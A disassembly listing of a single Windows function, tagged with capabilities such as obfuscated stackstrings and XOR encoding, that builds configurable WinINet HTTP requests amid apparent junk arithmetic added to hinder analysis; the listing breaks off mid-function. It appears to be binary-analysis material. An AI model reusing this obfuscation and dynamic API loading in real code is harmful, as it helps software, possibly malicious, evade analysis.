Function at 0x410320
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506d3c
mov eax, dword fs:[0]
push eax
mov eax, 0x11e4
call fcn.004e6790
mov eax, dword [0x565680]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x18]
mov dword [ebp - 0x1128], eax
mov eax, dword [ebp + 0x14]
push eax
mov dword [ebp - 0x1144], esi
mov dword [ebp - 0x11f0], esi
mov dword [ebp - 0x113c], eax
mov dword [ebp - 0x1198], 0
call fcn.004130d0
add esp, 4
test al, al
je 0x410442
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1174], eax
mov eax, str.this_module_doesnt_support_file_request
mov dword [ebp - 4], 1
test eax, 0xffff0000
jne 0x410430
movzx esi, ax
push 0
push esi
call fcn.00402f50
add esp, 8
test eax, eax
je 0x4103dc
push esi
push eax
lea ecx, [ebp - 0x1174]
call fcn.004073a0
mov esi, dword [ebp - 0x1144]
lea eax, [ebp - 0x1174]
push eax
push esi
mov dword [ebp - 4], 2
call fcn.0040f8a0
add esp, 8
mov esi, dword [ebp - 0x1174]
add esi, 0xfffffff0
mov dword [ebp - 0x1198], 1
mov byte [ebp - 4], 0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412a94
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
jmp 0x412a94
push str.this_module_doesnt_support_file_request
lea ecx, [ebp - 0x1174]
call fcn.004027b0
jmp 0x4103e2
test edi, edi
jne 0x41049c
push str.InternetOpen_Failed
lea ecx, [ebp - 0x1128]
call fcn.00401b10
push eax
push esi
mov dword [ebp - 4], 3
call fcn.0040f8a0
mov edx, dword [ebp - 0x1128]
add edx, 0xfffffff0
add esp, 8
mov dword [ebp - 0x1198], 1
mov byte [ebp - 4], 0
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x410495
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, esi
jmp 0x412a9a
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1148], eax
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
mov dword [ebp - 4], 4
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1158], eax
mov ecx, dword [ebp - 0x113c]
push 0x51a398
mov byte [ebp - 4], 5
mov dword [ebp - 0x115c], 0
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x114c]
push eax
call fcn.0048c3c0
lea eax, [ebp - 0x115c]
push eax
lea eax, [ebp - 0x1158]
push eax
lea eax, [ebp - 0x1148]
push eax
lea eax, [ebp - 0x114c]
push eax
mov byte [ebp - 4], 6
call fcn.0040f6d0
movzx eax, al
add esp, 0x2c
test eax, eax
jne 0x410583
push str.InternetCrackUrl_Failed
lea ecx, [ebp - 0x1128]
call fcn.00401b10
push eax
push esi
mov byte [ebp - 4], 7
call fcn.0040f8a0
mov edx, dword [ebp - 0x1128]
add edx, 0xfffffff0
or esi, 0xffffffff
add esp, 8
mov dword [ebp - 0x1198], 1
mov byte [ebp - 4], 6
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jmp 0x412a23
mov esi, dword [ebp - 0x113c]
push str.redirectCheck
mov ecx, esi
mov byte [ebp - 0x1151], 0
call fcn.0046a840
test al, al
je 0x4105d0
push str.redirectCheck
mov ecx, esi
call fcn.00469920
mov ecx, eax
call fcn.0046a820
test al, al
je 0x4105d0
push str.redirectCheck
mov ecx, esi
call fcn.00469920
mov ecx, eax
call fcn.00469e50
mov byte [ebp - 0x1151], al
lea eax, [ebp - 0x1130]
push eax
lea eax, [ebp - 0x1121]
push eax
mov eax, dword [ebp - 0x114c]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
mov byte [ebp - 0x1121], 0
mov dword [ebp - 0x1130], 0x50
call fcn.004053a0
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.0040f5d0
mov esi, dword [ebp - 0x113c]
add esp, 0xc
mov ecx, esi
push str.port
call fcn.00469920
mov ecx, eax
call fcn.0046a830
test al, al
je 0x410645
push str.port
mov ecx, esi
call fcn.00469920
mov ecx, eax
call fcn.00469f80
mov esi, eax
jmp 0x410654
mov esi, dword [ebp - 0x115c]
test esi, esi
cmove esi, dword [ebp - 0x1130]
push esi
lea eax, [ebp - 0x1148]
push eax
push dword [ebp - 0x1128]
mov byte [ebp - 0x1129], 0
call fcn.0040f510
mov ecx, eax
add esp, 0xc
mov dword [ebp - 0x1138], eax
test ecx, ecx
jne 0x4107bd
mov eax, dword [0x567328]
test eax, eax
jne 0x4106b5
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x4106ac
push str.InternetConnectW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x567328], eax
jmp 0x4106b1
mov eax, dword [0x567328]
test eax, eax
je 0x4106d9
push 0
push 0
push 3
push 0
push 0
push esi
push dword [ebp - 0x1148]
push edi
call eax
mov ecx, eax
mov dword [ebp - 0x1138], ecx
test ecx, ecx
jne 0x41079b
mov ecx, dword [0x566ac0]
mov eax, ecx
imul eax, ecx
cdq
mov esi, 0x18
idiv esi
cmp edx, 0xf
jne 0x410744
movsd xmm3, qword [0x519ef8]
movsd xmm6, qword [0x519f00]
movsd xmm5, qword [0x519ef0]
movd xmm4, ecx
xorps xmm2, xmm2
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x41072e
subsd xmm2, xmm3
divsd xmm3, xmm6
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm5
ja 0x410714
push str.InternetConnect_Failed
lea ecx, [ebp - 0x1128]
call fcn.00401b10
mov ebx, dword [ebp - 0x1144]
push eax
push ebx
mov byte [ebp - 4], 8
call fcn.0040f8a0
add esp, 8
lea ecx, [ebp - 0x1128]
call fcn.00401fd0
lea ecx, [ebp - 0x114c]
call fcn.00401fd0
lea ecx, [ebp - 0x1158]
call fcn.00401fd0
lea ecx, [ebp - 0x1148]
call fcn.00401fd0
mov eax, ebx
jmp 0x412a9a
test ebx, ebx
jne 0x4107a8
mov byte [ebp - 0x1129], 1
jmp 0x4107bd
push ecx
push esi
lea eax, [ebp - 0x1148]
push eax
push dword [ebp + 0x1c]
push ebx
call fcn.004132b0
add esp, 0x14
cmp byte [ebp - 0x1151], 0
mov eax, 0x80400200
mov ecx, 0x80600200
cmovne eax, ecx
or eax, 0xc000
cmp byte [ebp - 0x1121], 0
mov dword [ebp - 0x115c], eax
je 0x4107f0
or eax, 0x803080
mov dword [ebp - 0x115c], eax
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x116c], eax
mov ebx, dword [ebp - 0x113c]
push str.method
mov ecx, ebx
mov byte [ebp - 4], 9
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x410873
push str.method
mov ecx, ebx
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1128]
push eax
call fcn.0048c3c0
add esp, 0x1c
push eax
lea ecx, [ebp - 0x116c]
mov byte [ebp - 4], 0xa
call fcn.004026b0
lea ecx, [ebp - 0x1128]
mov byte [ebp - 4], 9
call fcn.00401fd0
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x1164], edi
push 0x51a54c
mov ecx, ebx
mov byte [ebp - 4], 0xb
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x4108f6
push 0x51a54c
mov ecx, ebx
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1128]
push eax
call fcn.0048c3c0
add esp, 0x1c
push eax
lea ecx, [ebp - 0x1164]
mov byte [ebp - 4], 0xc
call fcn.004026b0
lea ecx, [ebp - 0x1128]
mov byte [ebp - 4], 0xb
call fcn.00401fd0
mov edi, dword [ebp - 0x1164]
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x1168], esi
push str.referer
mov ecx, ebx
mov byte [ebp - 4], 0xd
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x410979
push str.referer
mov ecx, ebx
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1128]
push eax
call fcn.0048c3c0
add esp, 0x1c
push eax
lea ecx, [ebp - 0x1168]
mov byte [ebp - 4], 0xe
call fcn.004026b0
lea ecx, [ebp - 0x1128]
mov byte [ebp - 4], 0xd
call fcn.00401fd0
mov esi, dword [ebp - 0x1168]
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
lea ebx, [eax + 0x10]
mov dword [ebp - 0x1160], ebx
mov ecx, dword [ebp - 0x113c]
push str.acceptTypes
mov byte [ebp - 4], 0xf
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x410a04
mov ecx, dword [ebp - 0x113c]
push str.acceptTypes
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1128]
push eax
call fcn.0048c3c0
add esp, 0x1c
push eax
lea ecx, [ebp - 0x1160]
mov byte [ebp - 4], 0x10
call fcn.004026b0
lea ecx, [ebp - 0x1128]
mov byte [ebp - 4], 0xf
call fcn.00401fd0
mov ebx, dword [ebp - 0x1160]
xor ecx, ecx
cmp dword [ebx - 0xc], ecx
mov eax, ebx
cmove eax, ecx
mov dword [ebp - 0x11e4], eax
xor eax, eax
mov dword [ebp - 0x11e0], ecx
cmp dword [esi - 0xc], eax
mov ebx, esi
cmove ebx, eax
cmp dword [edi - 0xc], eax
push 1
push dword [ebp - 0x115c]
mov edx, edi
cmove edx, eax
mov eax, dword [ebp - 0x116c]
xor esi, esi
cmp dword [eax - 0xc], esi
mov ecx, eax
lea eax, [ebp - 0x11e4]
push eax
push ebx
push edx
push dword [ebp - 0x1158]
cmove ecx, esi
push ecx
push dword [ebp - 0x1138]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp - 0x1170], eax
test eax, eax
jne 0x410ac5
push str.HttpOpenRequest_Failed
lea ecx, [ebp - 0x1128]
call fcn.00401b10
mov ebx, dword [ebp - 0x1144]
push eax
push ebx
mov byte [ebp - 4], 0x11
call fcn.0040f8a0
add esp, 8
lea ecx, [ebp - 0x1128]
call fcn.00401fd0
lea ecx, [ebp - 0x1160]
call fcn.00401fd0
lea ecx, [ebp - 0x1168]
call fcn.00401fd0
lea ecx, [ebp - 0x1164]
call fcn.00401fd0
lea ecx, [ebp - 0x116c]
jmp 0x41076e
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x1150], edi
mov ebx, dword [ebp - 0x113c]
push str.contentType
mov ecx, ebx
mov byte [ebp - 4], 0x12
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x410bd8
push 0x51a580
lea ecx, [ebp - 0x115c]
call fcn.00401ba0
lea eax, [ebp - 0x115c]
push eax
push str.contentType
mov ecx, ebx
mov byte [ebp - 4], 0x13
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1130]
push eax
call fcn.0048c3c0
add esp, 0x1c
mov esi, eax
push str.Content_Type:
lea ecx, [ebp - 0x11ac]
mov byte [ebp - 4], 0x14
call fcn.00401b10
push esi
push eax
lea eax, [ebp - 0x11b4]
push eax
mov byte [ebp - 4], 0x15
call fcn.00465370
add esp, 0xc
push eax
lea eax, [ebp - 0x1128]
push eax
mov byte [ebp - 4], 0x16
call fcn.00465370
add esp, 0xc
push eax
lea ecx, [ebp - 0x1150]
mov byte [ebp - 4], 0x17
call fcn.004026b0
lea ecx, [ebp - 0x1128]
call fcn.00401fd0
lea ecx, [ebp - 0x11b4]
call fcn.00401fd0
lea ecx, [ebp - 0x11ac]
call fcn.00401fd0
lea ecx, [ebp - 0x1130]
call fcn.00401fd0
lea ecx, [ebp - 0x115c]
mov byte [ebp - 4], 0x12
call fcn.00401fd0
mov edi, dword [ebp - 0x1150]
push str.additionalRequestHeaders
mov ecx, ebx
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x410c7d
push str.additionalRequestHeaders
mov ecx, ebx
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1128]
push eax
call fcn.0048c3c0
add esp, 0x1c
mov eax, dword [eax]
lea ecx, [ebp - 0x1150]
push dword [eax - 0xc]
mov byte [ebp - 4], 0x18
push eax
call fcn.00402de0
lea ecx, [ebp - 0x1128]
mov byte [ebp - 4], 0x12
call fcn.00401fd0
mov edi, dword [ebp - 0x1150]
lea eax, [edi - 0x10]
push eax
call fcn.004053a0
add eax, 0x10
add esp, 4
mov dword [ebp - 0x115c], eax
lea ecx, [ebp - 0x115c]
mov byte [ebp - 4], 0x19
call fcn.00413360
lea ecx, [ebp - 0x115c]
mov byte [ebp - 4], 0x12
call fcn.00401fd0
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x1180], esi
push str.postData
mov ecx, ebx
mov byte [ebp - 4], 0x1a
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x410d00
push str.postData
mov ecx, ebx
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1128]
push eax
call fcn.0048c3c0
add esp, 0x1c
push eax
lea ecx, [ebp - 0x1180]
mov byte [ebp - 4], 0x1b
call fcn.004026b0
lea ecx, [ebp - 0x1128]
mov byte [ebp - 4], 0x1a
call fcn.00401fd0
mov esi, dword [ebp - 0x1180]
lea eax, [esi - 0x10]
push eax
mov dword [ebp - 0x115c], eax
call fcn.004053a0
lea ebx, [eax + 0x10]
add esp, 4
mov dword [ebp - 0x117c], ebx
mov eax, dword [esi - 0xc]
add eax, eax
cmp byte [ebp - 0x1151], 0
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x1128], eax
je 0x410d69
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionW]
push 4
lea eax, [ebp - 0x1130]
push eax
push 6
push dword [ebp - 0x1170]
mov dword [ebp - 0x1130], 0x2710
call esi
push 4
lea eax, [ebp - 0x1130]
push eax
push 5
push dword [ebp - 0x1170]
call esi
xor eax, eax
cmp dword [edi - 0xc], eax
mov esi, edi
cmove esi, eax
mov eax, dword [ebx - 8]
mov ecx, 1
sub ecx, dword [ebx - 4]
or eax, ecx
jge 0x410d95
push 0
lea ecx, [ebp - 0x117c]
call fcn.00407590
mov ebx, dword [ebp - 0x117c]
push dword [ebp - 0x1128]
push ebx
push dword [edi - 0xc]
push esi
mov esi, dword [ebp - 0x1170]
push esi
call fcn.0040ee70
push eax
call fcn.0041e460
test eax, eax
jne 0x410eac
call fcn.00413830
test al, al
jne 0x410dcb
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
lea eax, [ebp - 0x115c]
push eax
call fcn.0048cd30
add esp, 4
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp - 4], 0x1d
call esi
call fcn.00413920
test al, al
jne 0x410e1d
mov eax, dword [0x566ac0]
mov ecx, eax
sub ecx, 0
je 0x410e13
dec ecx
je 0x410e07
inc eax
mov dword [0x566ac0], eax
jmp 0x410e1d
mov dword [0x566ac0], 0
jmp 0x410e1d
mov dword [0x566ac0], 2
cmp byte [ebp - 0x1129], 0
je 0x410e2e
push dword [ebp - 0x1138]
call esi
push str.HttpSendRequest_Failed_with:
lea ecx, [ebp - 0x11b4]
call fcn.00401b10
lea ecx, [ebp - 0x115c]
push ecx
push eax
lea eax, [ebp - 0x1128]
push eax
mov byte [ebp - 4], 0x1e
call fcn.00465370
mov ebx, dword [ebp - 0x1144]
push eax
push ebx
mov byte [ebp - 4], 0x1f
call fcn.0040f8a0
add esp, 0x14
lea ecx, [ebp - 0x1128]
call fcn.00401fd0
lea ecx, [ebp - 0x11b4]
call fcn.00401fd0
lea ecx, [ebp - 0x115c]
call fcn.00401fd0
lea ecx, [ebp - 0x117c]
call fcn.00401fd0
lea ecx, [ebp - 0x1180]
call fcn.00401fd0
lea ecx, [ebp - 0x1150]
jmp 0x410a94
mov esi, dword [ebp - 0x113c]
push esi
call fcn.00413270
add esp, 4
test al, al
jne 0x41111b
mov eax, dword [0x566ac0]
imul eax, eax
cdq
mov ecx, 0xb
idiv ecx
cmp edx, 6
jne 0x410f62
mov edi, dword [0x566ac0]
mov eax, edi
cdq
lea esi, [ecx + 0x74]
xor ecx, ecx
sub eax, edx
sar eax, 1
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x1174], eax
lea ebx, [ebx]
test eax, eax
jle 0x410f51
mov eax, edi
cdq
and edx, 3
lea edi, [edx + eax]
mov eax, dword [ebp - 0x1174]
sar edi, 2
xor edx, edx
mov dword [ebp - 0x1130], eax
mov edi, edi
test edi, edi
jle 0x410f3a
mov eax, edx
mov ecx, edi
add esi, eax
dec eax
dec ecx
jne 0x410f28
mov eax, dword [ebp - 0x1130]
mov ecx, dword [ebp - 0x113c]
add edx, ecx
dec eax
mov dword [ebp - 0x1130], eax
jne 0x410f20
mov eax, dword [ebp - 0x1174]
mov edi, dword [0x566ac0]
inc ecx
mov dword [ebp - 0x113c], ecx
cmp ecx, esi
jl 0x410f00
mov edi, dword [ebp - 0x1150]
push dword [ebp - 0x1170]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
mov eax, dword [0x566ac0]
imul eax, eax
cdq
mov ecx, 0xf
idiv ecx
cmp edx, 0xc
jne 0x410f9c
push 0xd1
push 0xd0
push str._d__d_n
call fcn.004e6944
add esp, 0xc
cmp byte [ebp - 0x1129], 0
je 0x410fad
push dword [ebp - 0x1138]
call esi
push 0
lea ecx, [ebp - 0x11a8]
call fcn.00469310
push 1
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x20
call fcn.00469410
lea eax, [ebp - 0x1194]
push eax
push str.result
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x21
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x20
call fcn.004695b0
call fcn.004138a0
test al, al
jne 0x411094
mov edx, dword [0x566ac0]
xor esi, esi
mov ecx, esi
and ecx, 1
dec ecx
not ecx
and ecx, edx
mov eax, esi
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, edx
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, edx
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, edx
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, edx
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, edx
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, edx
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, edx
sar ecx, 1
xor eax, ecx
inc esi
add edx, eax
cmp esi, 0x100
jl 0x411011
mov dword [0x566ac0], edx
push str.no_response_needed
lea ecx, [ebp - 0x1194]
call fcn.004692d0
lea eax, [ebp - 0x1194]
push eax
push str.content
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x22
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x20
call fcn.004695b0
mov ecx, dword [ebp - 0x1144]
lea eax, [ebp - 0x11a8]
push eax
call fcn.004690d0
lea ecx, [ebp - 0x11a8]
mov dword [ebp - 0x1198], 1
mov byte [ebp - 4], 0x1c
call fcn.004695b0
add ebx, 0xfffffff0
or esi, 0xffffffff
mov byte [ebp - 4], 0x1a
lea ecx, [ebx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jmp 0x41295a
push 0x400
lea eax, [ebp - 0x413]
push 0
push eax
mov byte [ebp - 0x414], 0
call fcn.004e67c0
add esp, 0xc
mov dword [ebp - 0x11dc], 0x400
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
jne 0x411253
push dword [ebp - 0x1170]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
mov esi, dword [0x566ac0]
mov ecx, 3
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 1
jne 0x4111de
test esi, esi
je 0x4111de
mov ecx, esi
and ecx, 0x80000001
jns 0x41118f
dec ecx
or ecx, 0xfffffffe
inc ecx
jne 0x41119c
mov eax, esi
cdq
sub eax, edx
mov esi, eax
sar esi, 1
jmp 0x4111a3
lea esi, [esi*2 + 1]
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
lea eax, [eax + eax*2]
sub ecx, eax
mov dword [0x566ac0], esi
sub ecx, 0
je 0x4111cd
sub ecx, 2
je 0x4111d0
dec ecx
je 0x4111d1
jmp 0x4111da
add esi, 2
inc esi
add esi, 2
mov dword [0x566ac0], esi
test esi, esi
jne 0x411180
lea eax, [esi + 1]
imul eax, esi
cdq
mov ecx, 0xc
idiv ecx
cmp edx, 3
jne 0x411213
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x566ac0]
mov edx, 7
test eax, eax
cmove ecx, edx
mov dword [0x566ac0], ecx
cmp byte [ebp - 0x1129], 0
je 0x411224
push dword [ebp - 0x1138]
call edi
push str.HttpQueryInfo_Failed
lea ecx, [ebp - 0x1128]
call fcn.00401b10
mov byte [ebp - 4], 0x23
mov ebx, dword [ebp - 0x1144]
push eax
push ebx
call fcn.0040f8a0
add esp, 8
lea ecx, [ebp - 0x1128]
jmp 0x410e86
push str.HttpQueryInfoA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x411298
push dword [ebp - 0x1170]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
cmp byte [ebp - 0x1129], 0
je 0x411282
push dword [ebp - 0x1138]
call esi
push str.HttpQueryInfo_Failed
lea ecx, [ebp - 0x1128]
call fcn.00401b10
mov byte [ebp - 4], 0x24
jmp 0x411238
push 0
lea ecx, [ebp - 0x11dc]
push ecx
lea ecx, [ebp - 0x414]
push ecx
push 0x13
push dword [ebp - 0x1170]
call eax
test eax, eax
jne 0x411391
push dword [ebp - 0x1170]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
call fcn.004138a0
test al, al
jne 0x41133a
mov esi, dword [0x566ac0]
mov eax, 0x94f2095
imul esi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x6e
mov eax, esi
sub eax, ecx
xor edi, edi
cmp eax, 0xef
je 0x411332
jmp 0x411300
mov eax, esi
or eax, 0xffffff3a
add esi, eax
mov eax, esi
imul eax, esi
inc edi
cmp edi, eax
jg 0x411332
mov eax, 0x94f2095
imul esi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x6e
mov eax, esi
sub eax, ecx
cmp eax, 0xef
jne 0x411300
mov dword [0x566ac0], edi
jmp 0x411340
mov edi, dword [0x566ac0]
lea eax, [edi + 1]
imul eax, edi
cdq
mov ecx, 0x16
idiv ecx
cmp edx, 0x11
jne 0x411367
xor esi, esi
mov ebx, edi
inc esi
dec ebx
cmp esi, 0x81
jb 0x411357
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [ebp - 0x1129], 0
je 0x411378
push dword [ebp - 0x1138]
call ebx
push str.HttpQueryInfo_Failed
lea ecx, [ebp - 0x1128]
call fcn.00401b10
mov byte [ebp - 4], 0x25
jmp 0x411238
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x1140]
call fcn.0040d7d0
push str.acceptedStatusCodes
mov ecx, esi
mov byte [ebp - 4], 0x26
call fcn.00469920
mov esi, eax
mov ecx, esi
mov dword [ebp - 0x1174], esi
call fcn.0046a800
mov ecx, esi
test al, al
je 0x4114fa
mov dword [ebp - 0x1174], 0
call fcn.0046abf0
test eax, eax
jle 0x4116aa
xor ecx, ecx
push ecx
mov ecx, esi
call fcn.00469880
mov ecx, eax
call fcn.0046a890
push dword [ebp - 0x1174]
mov ecx, esi
test al, al
je 0x41143e
call fcn.00469880
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1128]
push eax
call fcn.0048c3c0
push eax
lea eax, [ebp - 0x1140]
push eax
call fcn.00402900
add esp, 0x24
lea ecx, [ebp - 0x1128]
jmp 0x4114c2
call fcn.00469880
mov ecx, eax
call fcn.0046a830
test al, al
je 0x4114da
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1130], eax
push dword [ebp - 0x1174]
mov ecx, esi
mov byte [ebp - 4], 0x27
call fcn.00469880
mov ecx, eax
call fcn.00469f80
push eax
lea eax, [ebp - 0x1130]
push eax
lea eax, [ebp - 0x11ac]
push eax
call fcn.004653f0
add esp, 0xc
lea ecx, [ebp - 0x1130]
mov byte [ebp - 4], 0x26
call fcn.00401fd0
lea eax, [ebp - 0x11ac]
push eax
lea eax, [ebp - 0x1140]
push eax
call fcn.00402900
add esp, 8
lea ecx, [ebp - 0x11ac]
mov byte [ebp - 0x1121], al
call fcn.00401fd0
cmp byte [ebp - 0x1121], 0
jne 0x41172b
inc dword [ebp - 0x1174]
mov ecx, esi
call fcn.0046abf0
mov ecx, dword [ebp - 0x1174]
cmp ecx, eax
jl 0x4113e5
jmp 0x4116aa
call fcn.0046a870
test al, al
je 0x41168e
mov ecx, esi
mov dword [ebp - 0x1128], 0
call fcn.0046abf0
test eax, eax
jle 0x4116aa
xor esi, esi
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1130], eax
push esi
lea eax, [ebp - 0x1130]
push 0x519f70
push eax
mov byte [ebp - 4], 0x28
call fcn.0040fbc0
mov esi, dword [ebp - 0x1130]
mov ecx, dword [ebp - 0x1174]
add esp, 0xc
push esi
call fcn.00469920
mov ecx, eax
call fcn.0046a890
mov ecx, dword [ebp - 0x1174]
push esi
test al, al
je 0x4115b3
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1134]
push eax
call fcn.0048c3c0
push eax
lea eax, [ebp - 0x1140]
push eax
call fcn.00402900
add esp, 0x24
lea ecx, [ebp - 0x1134]
jmp 0x411632
call fcn.00469920
mov ecx, eax
call fcn.0046a830
test al, al
je 0x411646
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x11ac], eax
mov ecx, dword [ebp - 0x1174]
push esi
mov byte [ebp - 4], 0x29
call fcn.00469920
mov ecx, eax
call fcn.00469f80
push eax
lea eax, [ebp - 0x11ac]
push eax
lea eax, [ebp - 0x11b4]
push eax
call fcn.004653f0
add esp, 0xc
lea ecx, [ebp - 0x11ac]
call fcn.00401fd0
lea eax, [ebp - 0x11b4]
push eax
lea eax, [ebp - 0x1140]
push eax
call fcn.00402900
add esp, 8
lea ecx, [ebp - 0x11b4]
mov byte [ebp - 0x1121], al
call fcn.00401fd0
cmp byte [ebp - 0x1121], 0
jne 0x411677
lea ecx, [ebp - 0x1130]
mov byte [ebp - 4], 0x26
call fcn.00401fd0
mov esi, dword [ebp - 0x1128]
mov ecx, dword [ebp - 0x1174]
inc esi
mov dword [ebp - 0x1128], esi
call fcn.0046abf0
cmp esi, eax
jl 0x411522
jmp 0x4116aa
lea ecx, [ebp - 0x1130]
mov byte [ebp - 4], 0x26
call fcn.00401fd0
mov al, byte [ebp - 0x1121]
jmp 0x4116a2
lea eax, [ebp - 0x1140]
push 0x51a600
push eax
call fcn.00402960
add esp, 8
test al, al
jne 0x41172b
push dword [ebp - 0x1170]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
cmp byte [ebp - 0x1129], 0
je 0x4116c9
